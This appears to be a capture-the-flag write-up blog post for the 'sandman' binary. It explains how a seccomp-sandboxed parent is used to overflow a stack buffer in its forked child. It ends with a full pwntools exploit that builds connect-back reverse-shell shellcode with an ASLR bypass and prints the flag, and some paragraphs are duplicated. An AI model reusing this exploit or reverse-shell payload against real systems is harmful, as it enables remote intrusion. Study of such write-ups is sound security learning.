sandman is a 64 bit ELF without much memory protections
Though we have code execution, it has limited use since only read/write syscalls could be made. Then I started analyzing the child process since communication can be done over pipes.
The function cmd_http_fetch@0000000000400CCA could be invoked by sending a value 0xE to the child. Further user input is read into a calloc buffer. Then function @0000000000400BAC is invoked to process this buffer. The function expects the buffer to start with 'http://' and later copies the data into stack, resulting in buffer overflow
$ checksec --file ./sandman RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH ./sandmansandman binary spawns a child process using fork. Parent and child could communicate via pipes. The parent process creates memory page with RWX permission of user specified size and reads data into it. SECCOMP is used to allow only a white list of syscalls - read, write, exit. After this the mmap region is called to execute supplied code.
Though we have code execution, it has limited use since only read/write syscalls could be made. Then I started analyzing the child process since communication can be done over pipes.
The function cmd_http_fetch@0000000000400CCA could be invoked by sending a value 0xE to the child. Further user input is read into a calloc buffer. Then function @0000000000400BAC is invoked to process this buffer. The function expects the buffer to start with 'http://' and later copies the data into stack, resulting in buffer overflow
len = strlen((user_input + 7)); strncpy(&dest, (user_input + 7), len);So the idea of exploit is to use write syscalls in parent process to communicate with child to trigger the buffer overflow. Also there is no seccomp protection in child process. Since child is spawned using fork, RSP from parent could be used to compute the buffer address pointing to shellcode in child by a fixed offset thus bypassing ASLR. Below is the exploit:
#!/usr/bin/env python from pwn import * HOST = "52.72.171.221" HOST = "127.0.0.1" PORT = 9982 conn = remote(HOST, PORT) context.arch = 'x86_64' sc = shellcraft.amd64.linux.syscall('SYS_alarm', 0) sc += shellcraft.amd64.linux.connect('127.1.1.1', 12345) sc += shellcraft.amd64.linux.dupsh() sc = asm(sc) def gen_payload(sc): # pad for QWORDs sc += asm("nop") * (8 - (len(sc) % 8)) payload = '' # generate mov rbx, QWORD; push rbx; sequence for i in range(0, len(sc), 8): qword = u64(sc[i:i+8]) payload = asm("mov rbx, %d" % (qword)) + asm("push rbx") + payload return payload, len(sc)/8 pipe = 0x5 pipe = 0x4 size = p32(8092) conn.send(size) # send choice shellcode = asm("push 0xe") shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 1)) # send size shellcode += asm("push 0x1000") shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 4)) # prepare payload for buffer overflow # new line shellcode += asm("mov rbx, 0x0a0a0a0a0a0a0a0a") shellcode += asm("push rbx") # padding for 4096 bytes shellcode += asm("mov rbx, 0x9090909090909090") shellcode += asm("push rbx") * 440 # RIP overwrite + ASLR bypass shellcode += asm("mov rbx, rsp") shellcode += asm("add rbx, 0xb20") shellcode += asm("shr rbx, 0x8") shellcode += asm("push rbx") # last byte of address shellcode += asm("mov rbx, 0xffffffffffffffff") shellcode += asm("push rbx") # fill buffer shellcode += asm("mov rbx, 0x9090909090909090") shellcode += asm("push rbx") * 5 # connect back shellcode execve, qwords = gen_payload(sc) shellcode += execve # NOPs shellcode += asm("mov rbx, 0x9090909090909090") shellcode += asm("push rbx") * (63 - qwords) # HTTP header shellcode += asm("mov rbx, 0x902f2f3a70747468") shellcode += asm("push rbx") # write payload shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 0x1000)) # exit shellcode += asm(shellcraft.amd64.linux.syscall('SYS_exit', 0)) shellcode += asm("nop") * (8091 - len(shellcode)) conn.send(shellcode + chr(0xa)) # flag-{br3k1ng-b4d-s4ndm4n}
No comments :
Post a Comment